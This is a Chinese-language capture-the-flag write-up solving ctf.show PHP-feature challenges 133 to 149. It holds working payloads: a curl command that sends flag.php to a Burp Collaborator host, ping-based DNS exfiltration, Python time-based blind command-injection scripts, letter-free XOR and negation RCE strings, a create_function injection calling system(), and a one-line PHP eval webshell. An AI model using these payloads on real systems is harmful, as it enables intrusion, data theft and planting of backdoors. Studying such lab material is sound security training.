133

ctf_show-php特性-133-149_f5

 

 

这里限制了F只能取前6个字符,但这里可以用变量本身作为参数

这里给出羽师傅的解释



get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
————————————————


然后用burp的公网地址外带即可(注意system会自己输出,shell_exec也就是``会返回字符串,因此无输出)



http://006c6a9a-d926-48a7-8654-38c1269551ea.challenge.ctf.show/?F=`$F`;  curl -X POST -F xx=@flag.php z55c4qucwi77mo3jgruxqlil0c63us.burpcollaborator.net


ctf_show-php特性-133-149_CTF_02

 

 

 

 

 

134

ctf_show-php特性-133-149_f5_03

 

 

 注意到



@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);


这里是get传入 _POST[key1]=36d&_POST[key2]=36d,会解析为post参数,最后对post参数再提取变量

 

 

135

ctf_show-php特性-133-149_f5_04

 过滤了curl,这里可以用ping带出,或者写入到一个文件再看即可

?F=`$F` ;nl flag.php>4.txt;

?F=`$F` ;uniq flag.php>4.txt;

ping:?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn (直接带貌似只会带第一行)

 

 

136

ctf_show-php特性-133-149_绝对路径_05

 

 

 注意这里是没回显的,curl,ping都过滤了,这里用tee命令(tee命令用于读取标准输入的数据,并将其内容输出成文件)

?c=ls /|tee 2

?c=cat /f149_15_h3r3|tee 3

注意没后缀,因为小数点过滤了,因此访问会下载文件,用记事本打开即可

 

 

137

ctf_show-php特性-133-149_f5_06

 

 

考察这个call_user_func()的使用:

 

ctf_show-php特性-133-149_绝对路径_07

payload ctfshow=ctfshow::getFlag

 

 

138

ctf_show-php特性-133-149_CTF_08

 

 

 见上题截图,另外一种调用方法

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

 

 

139

ctf_show-php特性-133-149_CTF_09

 

按照上一次脚本发现无法写入,可以通过脚本盲注



import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "


 

 

 



import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break


本质就是时间盲注,一位一位爆破

 

 

140

ctf_show-php特性-133-149_git_10

注意到弱等于

ctf_show-php特性-133-149_CTF_11

ctf_show-php特性-133-149_f5_12

 

 

 让intval($code)=0就行,方法有很多



md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())


payload:f1=md5&f2=phpinfo

 

 

141

ctf_show-php特性-133-149_php_13

 

这里首先是php中数字运算和命令能一起执行,比如1-phpinfo() 会执行phpinfo

还发现过滤了字母数字,就是符号rce了

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

 

 

142

ctf_show-php特性-133-149_git_14

 

数学题,传入0即可

 

 

 

143

ctf_show-php特性-133-149_git_15

 

过滤了取反,加减号也没了,可以用乘除



?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*


 

 

 

144

ctf_show-php特性-133-149_php_16

 

意义不明的一题,从v3换成v2即可,v3限制一个长度,那就加减号



?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%93%8C);&v3=-

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5);&v3=-


 

 

 

145

ctf_show-php特性-133-149_git_17

 

过滤了加减乘除,但是放出了取反,

可以用 v1|v3|v2,或者v1?v3:v2



|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
或者
?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):


 

 

 

146

ctf_show-php特性-133-149_git_18

 

 

 同上

 

 

web147

ctf_show-php特性-133-149_绝对路径_19

 

对于第一个参数为空,函数名和第二个参数可用的情况,一般都是利用 create_function() 函数

第二个参数传入return(1);}任意代码;/* 即可

但是这里直接传没用,看wp



php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法


post:ctf=\create_function  get: ?show=return(1);}system('cat flag.php');/*

 

 

web 148

ctf_show-php特性-133-149_绝对路径_20

还是无数字字母RCE,执行函数即可



("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");


预期解



$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*


 

 

 

web 149

ctf_show-php特性-133-149_CTF_21

 

 经典条件竞争

非预期解:



GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>


 

 

 

 

web150